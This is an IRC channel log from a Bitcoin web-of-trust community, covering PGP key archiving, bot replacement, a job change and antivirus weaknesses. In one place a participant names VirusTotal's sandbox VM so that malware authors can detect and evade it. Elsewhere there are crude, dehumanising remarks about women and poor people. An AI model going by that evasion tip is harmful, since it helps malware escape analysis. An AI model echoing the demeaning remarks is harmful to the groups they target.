gotta think about what happens when enemy gets wind and generates a quintillion crud keys. 1463954;1462549473;trinque;postgresql can probably handle that 1463955;1462549482;trinque;I've seen bigger DBs 1463956;1462549500;mircea_popescu;in any case, the driver for this thought process in my head is, believe it or not, the messing around with phf re beefy few days ago. seems a deeply valuable learning experience, to be exposed to large sets in this sense. 1463957;1462549500;trinque;I'm gonna need to upgrade the box, but that's been on my list for a while anyway 1463958;1462549534;asciilifeform;perhaps some of this could happen on the massive 'dulap' 1463959;1462549535;trinque;it heads towards deedbot being a keyserver too, already sorta is with $key 1463960;1462549540;asciilifeform;where the db already lives. 1463961;1462549543;mircea_popescu;trinque so it does. 1463962;1462549548;mircea_popescu;asciilifeform nah. the whole point is to duplicate work. 1463963;1462549584;mircea_popescu;(in retrospect, from my very instructive republican experience, im discovering that the principal job of management actually is to decide when to and when not to duplicate work. it's a much deeper point than it seems.) 1463964;1462549646;asciilifeform;trick is that it works best if you have the duplicated thing done in ~improved~ way rather than ad-hoc 1463965;1462549664;mircea_popescu;depends. if the point is the end result, then yes. if the point is the person doing it, then no. 1463966;1462549688;asciilifeform;noshit. hence homework. 1463967;1462549700;asciilifeform;'but pythagoras already did this!111' 1463968;1462549725;mircea_popescu;note that ~all us "Science and Engineering" consists of young men doing homework in a poorly managed, ineptly driven manner collectively known as "phd" 1463969;1462549737;mircea_popescu;nobody else does anything. perhaps for structural reasons. 1463970;1462549816;mircea_popescu;andre "what happens when enemy gets wind" 1. this is a very valuable canary for such a wonderous change in the enemy ; 2. time offers a natural breaking point, we're protected well by the configuration of the field. 1463971;1462549838;asciilifeform;how does (2) work ? 1463972;1462549857;mircea_popescu;"we will have all keys prior to T, and add new ones on the basis of X spamtrap only" 1463973;1462549862;mircea_popescu;best of both worlds. 1463974;1462549874;asciilifeform;the other thing is, 1463975;1462549896;asciilifeform;as i currently understand, most uncommitted derps lose their old keyz ten times before breakfast every morning. 1463976;1462549904;asciilifeform;so what'd be the point of stowing the junkyard. 1463977;1462549920;mircea_popescu;yes, but for instance i want to be able to nuke some keys of some people who will not come here if it kills them. 1463978;1462549922;asciilifeform;how often does somebody show up with a '90s key here 1463979;1462549924;mircea_popescu;curtrently this is dark info. 1463980;1462549927;mircea_popescu;it shouldn't be dark info. 1463981;1462549949;mircea_popescu;asciilifeform the matter is not what the derp uses it for. the matter is that i want to mark specific, extant and known items. 1463982;1462549953;trinque;asciilifeform: key still identifies a point in time if it produced any signed material 1463983;1462549962;mircea_popescu;recall, the WoT is NOT!!! about the user in question. but about his deeds and their reflection. only. 1463984;1462549965;asciilifeform;what i do see, is that this'd be good insurance for the spamocalypse when we start ~demanding~, e.g., pre-2020 keys, even to be LOOKED AT 1463985;1462549976;asciilifeform;and suddenly ancient keys become sc4mz0r currency. 1463986;1462549988;mircea_popescu;there's also that lobe, as distant and sf-ish as it may sound. 1463987;1462549998;asciilifeform;imho we're nearly there even now. 1463988;1462550051;mircea_popescu;i don't currently see much value in someone bringing old unknown key rather than freshly made. 1463989;1462550058;mircea_popescu;but that aside, who knowns, mebbe. 1463990;1462550082;asciilifeform;but, handily, 'p' actually has 'if [this program evals to true] i rate [key k] [rating r]' as primitive... 1463991;1462550110;asciilifeform;mircea_popescu: ~today~ no such value. ~tomorrow~, when the ocean of shit overflows - there will be. 1463992;1462550120;mircea_popescu;and in today's breakfast helper, http://66.media.tumblr.com/ae8701991aba86b03f6fb3ef0ae6de37/tumblr_nq9mclHDz81tgdz6ro1_1280.jpg 1463993;1462550160;mircea_popescu;pity usagi is not here to generate some keys for later. iirc he had a service to generate long rsa keys for people. 1463994;1462550166;asciilifeform;in related nyooz, i'm putting in notice of resignation at rupture farms on monday. 1463995;1462550171;mircea_popescu;no ?! 1463996;1462550188;asciilifeform;aha. 1463997;1462550225;mircea_popescu;you're not only a stakebunny, but also a total stake slut! keep changing them. 1463998;1462550236;mircea_popescu;anyway, perhaps the next one's satisfactorily ribbed or what. 1463999;1462550239;asciilifeform;found a somewhat more modest but 'you get xxxxx done, we pay' sort of deal. 1464000;1462550247;jurov;oh, how comes no one is doing vanity rsa keys generation already? 1464001;1462550262;asciilifeform;jurov: https://evil32.com links to one 1464002;1462550266;mircea_popescu;jurov ikr? 1464003;1462550302;asciilifeform;thing is, no sane person WANTS a vanity - that is CONSTRAINED SPACE - rsa key 1464004;1462550308;mircea_popescu;"Safety First : Do Not Fist Android Girls." 1464005;1462550309;asciilifeform;unless for specific purpose of fucking someone 1464006;1462550326;asciilifeform;in bitcoin addr there is a ~hash~ 1464007;1462550328;asciilifeform;so it is not the same. 1464008;1462550337;asciilifeform;vanity HASH is as strong as the hash algo 1464009;1462550344;asciilifeform;vanity rsa constrains your privkey space. 1464010;1462550347;mircea_popescu;asciilifeform yes but he has a point, the derp brain is memetic not rational. "the x of y" 1464011;1462550353;jurov;asciilifeform: i was in jest, but ty 1464012;1462550362;asciilifeform;but in point of fact there is a tool. 1464013;1462550364;asciilifeform;linked therein. 1464014;1462550369;mircea_popescu;yeah. i had no idea. 1464015;1462550433;deedbot;[Trilema] What's popularity look like ? - http://trilema.com/2016/whats-popularity-look-like/ 1464016;1462550599;asciilifeform;http://btcbase.org/log/2016-05-06#1463998 << no leaving the house!111 1464017;1462550599;a111;Logged on 2016-05-06 15:57 mircea_popescu: anyway, perhaps the next one's satisfactorily ribbed or what. 1464018;1462550613;mircea_popescu;no wai. 1464019;1462550640;mircea_popescu;in celebration of alf's good fortune news, http://67.media.tumblr.com/tumblr_lsztzcpFao1qzmnv7o1_1280.jpg 1464020;1462550701;*;asciilifeform might actually resume being useful again soon. 1464021;1462550788;asciilifeform;just as well that i am leaving rupture farmz, because a few honest folks there finally informed me of what i already knew, which is that i was being 'warehoused' 1464022;1462550810;asciilifeform;(kept around for scutwork after having refused to take holy orders) 1464023;1462550853;mircea_popescu;do you tell them during interview that a) everything you agree to will have to be presented in writing ; b) you will not do x y or z and soo n ? 1464024;1462550907;asciilifeform;even simpler than there, they make exactly one $item and that's it. 1464025;1462550922;asciilifeform;and yeah it took a few rehashes of contract. 1464026;1462551109;asciilifeform;quite the rarity, and may be 'too good to be true' etc. 1464027;1462551118;asciilifeform;consider, 99+% of the employment in my field is raw usg. 1464028;1462551192;mircea_popescu;you need better fields. 1464029;1462551202;asciilifeform;(there is an unknown percentage, to be fair, of 'nonemployment' work also, i.e. 0day market, overlapping with the 99, but i have - as previously discussed - no 'in' to it.) 1464030;1462551243;asciilifeform;didn't we discuss the whole 'i am not voluntarily being 19 with none-of-the-upsides again' thing ? 1464031;1462551305;mircea_popescu;lol. "the sewage goes into this pond i live in" "you need to live in a better pond" "didn't we discuss the whole i'm not walking on land again thing???" 1464032;1462551309;asciilifeform;with that in mind, i am good at a reasonable breadth of things, but again 99% of the employment in them, in as far as i can access, is usg. 1464033;1462551311;mircea_popescu;well ok mr turtle, so whadda ya want then. 1464034;1462551329;asciilifeform;but i would happily help zimbabwe build its first nuke, say, if it called. 1464035;1462551336;mircea_popescu;cuz this "i want FOR X to Y" ain't a want, it's a voodoo. 1464036;1462551341;asciilifeform;but - mega-unsurprise - no calls. 1464037;1462551341;mircea_popescu;word. 1464038;1462551352;mircea_popescu;stop wanting other people to. 1464039;1462551376;mircea_popescu;it's the #1 symptom of esl-ism, and as unbefitting as it's unseemly. 1464040;1462551403;asciilifeform;well, not being a demigod like mircea_popescu , i actually rely on other people to want to. 1464041;1462551417;asciilifeform;because otherwise i dun eat. 1464042;1462551425;mircea_popescu;that's a red herring. aptly displayed on my terminal in red font. 1464043;1462551426;asciilifeform;i can't simply shit forth gold. 1464044;1462551429;mircea_popescu;EVEN MY TERMINAL KNOWS! 1464045;1462551457;mircea_popescu;that's what you get for being a terminal blessed with the daily touch of a gomided such as myself! 1464046;1462551465;asciilifeform;apparently!11 1464047;1462551484;mircea_popescu;"who the fuck are you ?!" "TREMBLE BEFORE ME! FOR I AM TEH GOMIDED OF LYSDEXIA!" 1464048;1462551513;asciilifeform;;;google lysdexia 1464049;1462551514;gribble;Error: We broke The Google! 1464050;1462551520;asciilifeform;dafuq 1464051;1462551525;asciilifeform;when's the last time this worked ?! 1464052;1462551530;trinque;^brb 1464053;1462551541;asciilifeform;botterdamerung?! 1464054;1462551551;mircea_popescu;yeah speaking of which, anyone of the botmasters, young or old, wanna make a gribble replacement ? 1464055;1462551560;trinque;mircea_popescu: which commands? 1464056;1462551568;mircea_popescu;it should do ;;calc and ;;google and ;;curl |sed|awk|grep. 1464057;1462551591;trinque;crap the latter to wotpaste? 1464058;1462551597;mircea_popescu;as to the last one : that's it, one call to curl passed through whatever chain of awk/sed/grep 1464059;1462551628;mircea_popescu;so a very limited sort of bash access. 1464060;1462551661;mircea_popescu;trinque nah, just put it in here, with a 1kb limit. 1464061;1462551674;mircea_popescu;or whatever one line is, i dun recall. 1464062;1462551715;trinque;awk can shell out; probably dangerous 1464063;1462551830;asciilifeform;mircea_popescu: it was surreal, last night, whole squad of folks were rubbing in 'all the fun stuff' i could do if only i agreed to join hitler's wot 1464064;1462552120;trinque;wuh oh. freenode sandstorm again? 1464065;1462552482;mircea_popescu;trinque sed and grep then ? or just parse out their shellout calls ? 1464066;1462552485;mircea_popescu;i guess that's not trivial huh. 1464067;1462552523;trinque;yeah, not to be a broken record, but had we a gossipd, I'd just give people I trust access to dangerous tools. 1464068;1462552529;trinque;as with mike_c and postgresql 1464069;1462552543;trinque;I like making use of the WoT just fine 1464070;1462552577;mircea_popescu;so something like "anyone voiced can calc and google, gotta be in lordsheep to curl ?" 1464071;1462552588;trinque;yep 1464072;1462552592;mircea_popescu;works for me. 1464073;1462552792;mircea_popescu;http://btcbase.org/log/2016-05-06#1464063 << yet another item they used to have in teh best soviet union. 1464074;1462552886;mircea_popescu;aaand in other newzlulz, http://67.media.tumblr.com/b608fef1247d0792af6b7f38e1e4bd69/tumblr_nrlixyrKau1s3qr6wo1_1280.jpg 1464075;1462553433;mircea_popescu;and in other "internet security" lulz, https://www.virustotal.com/es-ar/url/900d5651bf561ce804766d1a8f3483080a0e3879f16bfb7f820fdffef82fb807/analysis/1462553268/ 1464076;1462553485;mircea_popescu;and https://sitecheck.sucuri.net/results/yerl.org/vyvkz to go with it. 1464077;1462556364;BingoBoingo;;;bc,stats 1464078;1462556369;gribble;Current Blocks: 410541 | Current Difficulty: 1.7865925777252728E11 | Next Difficulty At Block: 411263 | Next Difficulty In: 722 blocks | Next Difficulty In About: 4 days, 7 hours, 45 minutes, and 37 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None 1464079;1462558319;asciilifeform;logz dead? 1464080;1462558356;mircea_popescu;are they ? 1464081;1462558435;asciilifeform;apparently 1464082;1462558455;asciilifeform;last line i see is http://btcbase.org/log/2016-05-06#1464063 1464083;1462558494;mircea_popescu;confirmed. phf ? 1464084;1462558500;trinque;yeah, a111 is mia 1464085;1462558511;mircea_popescu;needs more 111s! 1464086;1462558615;mircea_popescu;and in other goops, http://66.media.tumblr.com/tumblr_me7s4cMpGK1ri2aneo1_1280.jpg 1464087;1462559251;trinque;$google goop 1464088;1462559253;deedbot;http://goop.com/ << Goop | A weekly lifestyle publication, curated by Gwyneth Paltrow ... | http://shop.goop.com/ << Goop Shop | http://goop.com/recipes-category/recipes/ << Recipes | Recipe Categories | Goop 1464089;1462559266;trinque;mircea_popescu: ^ 1464090;1462559906;asciilifeform;May 06 12:50:33 and in other "internet security" lulz, https://www.virustotal.com/es-ar/url/900d5651bf561ce804766d1a8f3483080a0e3879f16bfb7f820fdffef82fb807/analysis/1462553268 << what is notable about this sample ? 1464091;1462560523;mircea_popescu;that they don't fucking detect it 1464092;1462560532;mircea_popescu;and the sucuri bs also fucks up the url by lowercasing it 1464093;1462560539;mircea_popescu;ie, half-assed effort. 1464094;1462560849;mircea_popescu;sweet trinque 1464095;1462561093;mircea_popescu;that settles that. 1464096;1462561116;mircea_popescu;$google sexiest man alive 1464097;1462561118;deedbot;http://www.people.com/people/package/0,,20315920,00.html << Sexiest Man Alive : People.com | https://en.wikipedia.org/wiki/Sexiest_Man_Alive << Sexiest Man Alive | http://www.people.com/people/package/article/0,,20957461_20967491,00.html << David Beckham is PEOPLE's Sexiest Man Alive : People.com 1464098;1462561129;mircea_popescu;obviously, a wikipedia page. 1464099;1462561816;asciilifeform;mircea_popescu: a very large share of the samples on vt are 'not detected' 1464100;1462561823;asciilifeform;because av is elementarily braindamaged concept 1464101;1462561844;mircea_popescu;kinda my point. 1464102;1462561847;asciilifeform;likewise a large fraction of samples on vt don't even ~run there~ 1464103;1462561858;asciilifeform;because they detect their (very easily detectable) vm, etc. 1464104;1462561890;mircea_popescu;"experts" in sticking their finger up their own ass and tasting it afterwards. 1464105;1462561909;asciilifeform;aha, and google bought for $B. 1464106;1462561947;asciilifeform;then when i and a buncha blokes opened a co that offered thing that would analyze crapware WITHOUT USING VM, that is, on ordinary x86 (but with some hardware magic), 1464107;1462561950;asciilifeform;nobody bought. 1464108;1462561976;mircea_popescu;it's not a matter of "build better mouse trap" only. 1464109;1462561987;mircea_popescu;the part where you assault, arson, rape and pillage is also required. 1464110;1462561997;asciilifeform;which takes capital. 1464111;1462562002;asciilifeform;(or, i suppose, demigods) 1464112;1462562033;mircea_popescu;demigods, demiassholes, whadda hell's da difference. 1464113;1462562236;asciilifeform;whatever you want to call it, it was an elementary case of 'you made something that actually works? good for you? now eat shit and die.' vs 'yacht rat? welcome aboard, your shit is sausage here' 1464114;1462562284;mircea_popescu;notrly. 1464115;1462562288;mircea_popescu;but aaaanyway. 1464116;1462562431;asciilifeform;tip to aspiring virii authors: 1464117;1462562438;asciilifeform;vt STILL names its winblowz vm TEQUILABOOMBOOM 1464118;1462562472;asciilifeform;~all~ of them. 1464119;1462562475;mircea_popescu;lmao. 1464120;1462562638;asciilifeform;i shit thee not. 1464121;1462562675;asciilifeform;(not that you actually ~need~ this, there are 1,001 ways to detect vm, and against 101 there are no countermeasures) 1464122;1462562866;asciilifeform;that experience is what really woke me up to the dead-endity of the field 1464123;1462562905;asciilifeform;(i.e. the only folks seriously willing to pay for serious crapware analysis are usg and cn, and i'm not in either's wot) 1464124;1462562985;asciilifeform;which in turn is logical, being that these are the 2 large orgs stuck on, each for its own strange reasons, winblowz 1464125;1462563012;mircea_popescu;quite. 1464126;1462563030;mircea_popescu;the third party that's interested is only interested in raping them, and generally does not believe in employees. 1464127;1462563074;asciilifeform;or in contractors, consultants, pretty much any work-for-money arrangement 1464128;1462563158;mircea_popescu;aha. make your own holes. 1464129;1462563240;asciilifeform;and what kind of luser works anyway!1111 winnerz eat from their 10,000 heads of cattle and rent from the baronial landz!11111111111 1464130;1462563262;mircea_popescu;make your own holes. 1464131;1462563628;asciilifeform;speaking of drilling fuckable openings, the 'oss' thread appears to be wholly dead. 1464132;1462563644;mircea_popescu;doh. 1464133;1462563649;asciilifeform;just as mircea_popescu said, it was a pointless exercise. 1464134;1462563663;mircea_popescu;where's the kaiser discussion. 1464135;1462563678;mircea_popescu;http://btcbase.org/log/2016-05-01#1460247 1464136;1462563688;asciilifeform;http://btcbase.org/log/2016-05-01#1460246 1464137;1462563692;asciilifeform;ah yeah. 1464138;1462563704;mircea_popescu;had you said something THEY COULD HAVE USED, they would have. as you said nothing that makes them any better, it never happened. 1464139;1462563708;mircea_popescu;waste of your time. 1464140;1462563729;mircea_popescu;and this is exactly how it goes with "we just want to ask you a few questions", which is why you don't talk to the police, and everything else. 1464141;1462563850;asciilifeform;at this point even cocker spaniel knows that 'no good comes from talking to cop, even in principle' 1464142;1462563852;mircea_popescu;nobody is going to go "oh i am so impressed by the unexpected arguments this young chap has espoused on the internet, i'm going to now change my priors" anymore than you're going to go "o hey, the irc has convinced me, i am now finally moving out of the us". people've made their life choices, and that's that, reality exists only to either promote their personal stupidity or otherwise be ignored as best it can. 1464143;1462563913;asciilifeform;it occasionally does happen that somebody gets pushed into cognitive dissonance mode and spews chunks upon encountering undigestible fact 1464144;1462563924;mircea_popescu;true. 1464145;1462563936;mircea_popescu;but age and poverty better predictors than intelligence, for that behaviour 1464146;1462563952;mircea_popescu;intelligence is counterpredictive, and education counterpredictive^3.5 1464147;1462563955;asciilifeform;happens to young and old alike 1464148;1462563986;asciilifeform;and i don't see the stupid being more likely to conform to fact than anyone else 1464149;1462564009;mircea_popescu;just some empirical observations. possibru useless. 1464150;1462564021;mircea_popescu;certainly useless in any individual case, which is the bane of statistics. 1464151;1462564165;asciilifeform;mircea_popescu seems to idealize the poor and stupid because - i suppose - when they come with cunts, those work just as well as any other cunt 1464152;1462564175;asciilifeform;but in any other context they have no redeeming value whatsoever 1464153;1462564180;asciilifeform;and aren't any kind of good company. 1464154;1462564220;asciilifeform;i'd rather train seals. 1464155;1462564511;mircea_popescu;this may be true. 1464156;1462564613;mircea_popescu;are usure tho, that nothing in this world reduces to cunt physio-anatomy, everything else is special and distinct from cunt ? 1464157;1462566383;asciilifeform;i obviously can't speak for mircea_popescu , but personally even cunt is not a get-out-of-biodiesel-free card as far as i'm concerned. 1464158;1462566434;asciilifeform;the bovine has exactly 2 uses: 1464159;1462566435;asciilifeform;1) milk 1464160;1462566437;asciilifeform;2) meat. 1464161;1462566464;asciilifeform;(there was once a (3) - plow, but i prefer tractor) 1464162;1462566810;asciilifeform;i suppose i omitted leather. 1464163;1462566852;trinque;how many humans is enough to own an earth? 1464164;1462566875;asciilifeform;? 1464165;1462566886;trinque;it's relevant. 1464166;1462566894;trinque;losing females is more costly to population than losing males 1464167;1462566908;trinque;said the sexual dynamics of everything ever 1464168;1462566936;asciilifeform;noshit.jpg 1464169;1462567041;asciilifeform;trinque: what's it mean to 'own an earth' ? 1464170;1462567429;asciilifeform;quit 1464171;1462567433;asciilifeform;argh 1464172;1462567438;*;asciilifeform bbl 1464173;1462568023;trinque;it means to have your species as the dominant predatory species in a given area 1464174;1462568062;trinque;rather, not area, the desirable parts of the whole earth 1464175;1462568087;trinque;I don't particularly mind the fact that, having covered the whole habitable earth, we killed off most of the species that used to eat us. 1464176;1462568166;trinque;whether or not this peasantry is undesirable, I think having the land occupied by humans has benefits. 1464177;1462568285;trinque;how many humans on earth does it take to raise an army worth a shit? obviously there is not a single answer to that question because then the other guy gets n+1 and it runs away until you're back at now. 1464178;1462568337;trinque;this idea that we depopulate the earth down to a million individuals or something is not unlike the nerd fantasy that he'd really like his brain to live in a jar in some robot than in his body 1464179;1462568402;trinque;how many humans does it take to own a solar system? 1464180;1462568536;jurov;planning a family? 1464181;1462568601;trinque;lol 1464182;1462568871;trinque;incidentally, the WoT may be the only social system capable of operating at the scale of a planetary system. 1464183;1462572607;phf;pretty safe bet, if a111 is missing, logs dead, but no worries they are still being recored with my bouncer. i'm almost done with a better logger, that reconnects. will take it live over the weekend 1464184;1462576835;mircea_popescu;trinque why's more than a coupla needed ? 1464185;1462576969;mircea_popescu;trinque> whether or not this peasantry is undesirable, I think having the land occupied by humans has benefits. << depends, dude. argentina would be certainly better if current population got wiped. 1464186;1462576979;mircea_popescu;so would bakersfield ; or the whole state of pennsylvania 1464187;1462577040;mircea_popescu;the one thing agar jars produce consistently is failure. human population no better than random chunk of bacteria in this regard. 1464188;1462578566;danielpbarron;oh hey alikim you figured it out? 1464189;1462578724;alikim;so scream much energy... I found that key on another computer 1464190;1462578881;danielpbarron;$ v23F111CBE45F138425CD8023C5A3E2D289F04C0CEEE0A561846745F05D0A1531 1464191;1462578886;danielpbarron;$v 23F111CBE45F138425CD8023C5A3E2D289F04C0CEEE0A561846745F05D0A1531 1464192;1462578887;deedbot;danielpbarron rated alikim 1 << Euloran who likes to hack the client on winbl0wz 1464193;1462578950;danielpbarron;$gettrust deedbot alikim 1464194;1462578950;deedbot;L1: 0, L2: 2 by 2 connections. 1464195;1462578954;alikim;I don't like it, it's necessity 1464196;1462578967;danielpbarron;it what, winbl0wz? 1464197;1462578982;alikim;no in what kind of shit the client is 1464198;1462578994;danielpbarron;oh hah, yeh 1464199;1462579029;danielpbarron;but you like the on winbl0wz part 1464200;1462579049;alikim;ideal client would be a console app, it doesn't need 3d engine or visuals 1464201;1462579059;danielpbarron;yes! plz write! 1464202;1462579083;danielpbarron;although that won't always be true, but certainly for the time being all that's needed is a console 1464203;1462579119;alikim;I need to dig into how to run a copy of geometry on the client and that's too much for me, otherwise I could reuse network classes from the package and other stuff 1464204;1462579139;alikim;was tempting though 1464205;1462579306;mircea_popescu;alikim good for you eh! 1464206;1462579323;alikim;which part? 1464207;1462579328;mircea_popescu;the recouping your key. 1464208;1462579360;mircea_popescu;alikim> ideal client would be a console app, it doesn't need 3d engine or visuals << word. jurov was sort-of working on this, actually. 1464209;1462579365;mircea_popescu;but yes, i support the notion. 1464210;1462579391;mircea_popescu;there's absolutely no reason eulora can't have roguelike interface. 1464211;1462579396;alikim;I have 4 computers and a life and I live with normal people, if you go on them like "I lost my pgp key, I lost my life" they suggest you visit a doctor.. or get laid and drunk in any order 1464212;1462579448;mircea_popescu;alikim i have a life and 5 live-in slavegirls. lost track of how many actual computers, but prolly close to a megawatt any given day. yet if i said "o btw i lost my key" i think everyone'd just stop breathing. 1464213;1462579470;alikim;different environment 1464214;1462579475;mircea_popescu;apparently. 1464215;1462579480;alikim;and priorities 1464216;1462579490;mircea_popescu;possibly. 1464217;1462579495;mircea_popescu;weren't you all about teh money ? \ 1464218;1462579507;alikim;I am, why? 1464219;1462579545;mircea_popescu;not that different. 1464220;1462579568;mircea_popescu;http://trilema.com/2014/if-youre-one-of-the-numerous-buenos-aires-printing-shops-ill-be-harassing-over-the-day/ << scroll down for my business card pic :D 1464221;1462579580;alikim;I believe all my programming endevours will pay off 1464222;1462579595;alikim;money-wise 1464223;1462579597;mircea_popescu;likely. 1464224;1462579616;mircea_popescu;programming has for a long time been talent starved ; likely to continue indefinitely ; and you're certainly talented. 1464225;1462579620;alikim;besides I'm curious so yeah sotimes I do something extra 1464226;1462579635;mircea_popescu;not particularly cultivated, i don't think, looks sort-of alcatel / self-trained level, but that's not really relevant. 1464227;1462579778;alikim;that card doesn't say much 1464228;1462579791;mircea_popescu;name and key. all it needs to say! 1464229;1462579825;alikim;You have younger hands that I'd expect 1464230;1462579835;mircea_popescu;o.O 1464231;1462579841;mircea_popescu;i'm not THAT old. 1464232;1462579884;alikim;I thought it's gonna be hairy sousage like fingers with heavy golden ring 1464233;1462579890;mircea_popescu;aww! 1464234;1462579907;alikim;hm... correcting mental image... 1464235;1462583039;asciilifeform;i bet alikim picture mircea_popescu on a 'harley' even. 1464236;1462583432;asciilifeform;just picture, sausage finger, german helmet, on his 'hog' ! 1464237;1462584035;asciilifeform;;;later tell mircea_popescu 17126/38479; 1272349/1298527 1464238;1462584049;asciilifeform;uh 1464239;1462584053;asciilifeform;no moar gribble ?? 1464240;1462584161;trinque;dunno what's going on with it, but I plan on deedbot eating its useful methods 1464241;1462584170;trinque;got the $google one in there today, will do others during next week 1464242;1462584178;asciilifeform;trinque: neato 1464243;1462584211;trinque;asciilifeform: can you think of a reason why passing $calc back to bc would be dangerous? 1464244;1462584216;trinque;I didn't see that the thing can shell out 1464245;1462584223;trinque;but plan on looking at it moar 1464246;1462584290;asciilifeform;iirc it can't shell but can infinite loop. 1464247;1462584339;asciilifeform;don't host it on the missile control box. 1464248;1462584398;trinque;yep, gonna stand up a disposable box for this kind of thing 1464249;1462584463;trinque;can probably wrap the call to bc in some shell script that kills it after x seconds 1464250;1462584774;danielpbarron;later tell worked for me a coupla hours ago ; turns out nubbins` intends to return my t-shirt payment 1464251;1462584797;asciilifeform;danielpbarron: i forget, did you ever give me a place to send shirts to 1464252;1462584804;asciilifeform;quite possibly you did and it got lost 1464253;1462584810;danielpbarron;ya, you were gonna get me a quote on shipping cost 1464254;1462584829;asciilifeform;resend plox 1464255;1462584833;danielpbarron;http://danielpbarron.com/ascii-shirts.asc.txt 1464256;1462584837;asciilifeform;ty 1464257;1462584889;asciilifeform;got it. 1464258;1462584925;asciilifeform;danielpbarron: message did not say how many you need 1464259;1462584955;danielpbarron;a dozen or whatever fits in a reasonable box 1464260;1462584966;asciilifeform;worx 1464261;1462584974;asciilifeform;unrelated lulz, 1464262;1462584975;asciilifeform;http://lists.busybox.net/pipermail/busybox/2010-December/074114.html 1464263;1462584977;asciilifeform;(via kako) 1464264;1462584989;asciilifeform;'The /bin vs /usr/bin split (and all the others) is an artifact of this, a 1970's implementation detail that got carried forward for decades by bureaucrats who never question _why_ they're doing things. It stopped making any sense before Linux was ever invented, for multiple reasons...' 1464265;1462585071;asciilifeform;'Standards bureaucracies like the Linux Foundation (which consumed the Free Standards Group in its' ever-growing accretion disk years ago) happily document and add to this sort of complexity without ever trying to understand why it was there in the first place. 'Ken and Dennis leaked their OS into the equivalent of home because an RK05 disk pack on the PDP-11 was too small" goes whoosh over their heads.' 1464266;1462588494;mod6;:] 1464267;1462588507;mod6;had a good laugh about all of this craig stuff lately. 1464268;1462588544;mod6;well, havnen't we all. 1464269;1462588550;mod6;anyway, what else is up? 1464270;1462588780;mod6;"i deleted my gpg key" wth, this isn't super mario bros, bro. 1464271;1462588807;*;mod6 crosses eyes 1464272;1462590445;mircea_popescu;asciilifeform i silenced it ; getting upgraded. 1464273;1462591145;mircea_popescu;Known Moduli: 2073847 1464274;1462591166;mircea_popescu;http://btcbase.org/log/2016-05-06#1463812 1464275;1462591166;a111;Logged on 2016-05-06 02:55 a111: Logged on 2016-05-06 02:06 mircea_popescu: ah, no Known Moduli: 2018943. vs 2mn earlier today... so it ~is~ actually doing more like 20-30k/24 hrs ? 1464276;1462591204;*;mircea_popescu recalls the good auld days of http://btcbase.org/log/2015-04-29#1116245 :D 1464277;1462591204;a111;Logged on 2015-04-29 18:59 mircea_popescu: Submissions: 3930 Known Moduli: 6642 1464278;1462591257;mircea_popescu;so about 55k done in 25 hours. 1464279;1462594517;BingoBoingo;$bc,stats 1464280;1462594597;mircea_popescu;BingoBoingo you can pm it. 1464281;1462594604;mircea_popescu;alternatively i could revoice it. do you actually miss it ? 1464282;1462595537;BingoBoingo;I'll pm it for the time being. If we don't replace stats and ticker though it will be a pain not being able to link them in the logs from qntra when a story calls for it. 1464283;1462595617;BingoBoingo;I don't call ;;ticker --market all because I'm interested in what it reports at that moment in that moment. Mostly do it in case if that moment/day becomes interesting in the months that come. 1464284;1462595641;BingoBoingo;But for the bc,stats pming that is fine 1464285;1462595673;mircea_popescu;alrighty, what. 1464286;1462595699;mircea_popescu;;;google buttseks 1464287;1462595700;gribble;Error: We broke The Google! 1464288;1462595704;mircea_popescu;there. 1464289;1462595745;BingoBoingo;ty 1464290;1462595755;BingoBoingo;;;ticker --market all --currency rmb 1464291;1462595762;gribble;BTCChina BTCRMB last: 2959.64, vol: 29315.59660000 | Volume-weighted last average: 2959.64 1464292;1462595775;BingoBoingo;;;ticker --market all 1464293;1462595781;gribble;Bitstamp BTCUSD last: 458.58, vol: 5192.97314437 | BTC-E BTCUSD last: 452.5, vol: 6497.89365 | Bitfinex BTCUSD last: 460.01, vol: 26904.66921442 | CampBX BTCUSD last: 457.3, vol: 1.86 | BTCChina BTCUSD last: 455.537844, vol: 29318.48630000 | Kraken BTCUSD last: 459.05, vol: 1844.78973063 | Bitcoin-Central BTCUSD last: 458.481, vol: 13.46272529 | Volume-weighted last average: (1 more message) 1464294;1462595785;BingoBoingo;;;more 1464295;1462595785;gribble;457.299273436 1464296;1462595812;BingoBoingo;^ see up after boatoshi sank, may be intersting detail come july 1464297;1462596005;mircea_popescu;eh. 1464298;1462596519;BingoBoingo;Apparently a DHS officer broke today, writing up the story 1464299;1462597928;deedbot;[Qntra] DHS Officer Breaks, Performs Allegedly Unsanctioned Killings - http://qntra.net/2016/05/dhs-officer-breaks-performs-allegedly-unsanctioned-killings/ 1464300;1462601448;mircea_popescu;BingoBoingo nice :D 1464301;1462601494;mircea_popescu;asciilifeform on the other hand the braindamage list padded considerably. closing in on 3k by now 1464302;1462604966;ben_vulpes;BingoBoingo: i lold 1464303;1462625542;shinohai;;;later tell BingoBoingo http://btcbase.org/log/2016-05-07#1464299 <<< sed -i 's/being/bring/g' ? 1464304;1462625542;a111;Logged on 2016-05-07 05:12 deedbot: [Qntra] DHS Officer Breaks, Performs Allegedly Unsanctioned Killings - http://qntra.net/2016/05/dhs-officer-breaks-performs-allegedly-unsanctioned-killings/ 1464305;1462625543;gribble;The operation succeeded. 1464306;1462628719;asciilifeform;23561/38479; 1281531/1298527 1464307;1462634115;mod6;Ah, very cool, just noticed the /topic. 1464308;1462634255;mod6;$up rain1 1464309;1462634256;deedbot;rain1 voiced for 30 minutes. 1464310;1462634307;mod6;hi, how goes it? are you in the wot yet? might be a good place to start. 1464311;1462634319;rain1;30 mins lol 1464312;1462634342;rain1;this is insane 1464313;1462634346;mod6;heh, 1800 seconds to get it right 1464314;1462634347;rain1;thanks mod6 1464315;1462634350;mod6;no prob. 1464316;1462634362;shinohai;o/ mod6 1464317;1462634370;mod6;o7 shinohai 1464318;1462634375;mod6;how goes it? 1464319;1462634397;shinohai;Not bad, sitting outside with lappy, gorgeous day here. U? 1464320;1462634420;mod6;Yeah, it's real nice here too. I've actually gotta do a bit of yard work here in just a few mins. 1464321;1462634428;mod6;Thought I'd stop in here first tho. 1464322;1462634449;mod6;I've been working on `t' cleanup this week. 'tis going alright. 1464323;1462634450;shinohai;I'm lazy and pay MExicans to do mine. >.< 1464324;1462634469;mod6;haha, i wish i had some people around here who wanted to do that kinda labor forme. 1464325;1462634479;shinohai;Yeah I saw somewhere in the logs where you said t was almost ready for ml posting 1464326;1462634515;shinohai;And I've been using same guy for 3 years now, the price is just right and saves me the hassle. 1464327;1462634526;mod6;so might hvae a new version of `t' for ya to look at sometime this weekend. i've been cleaning up the graph. trying to get the sagas colorized (which is complete), but I wanna 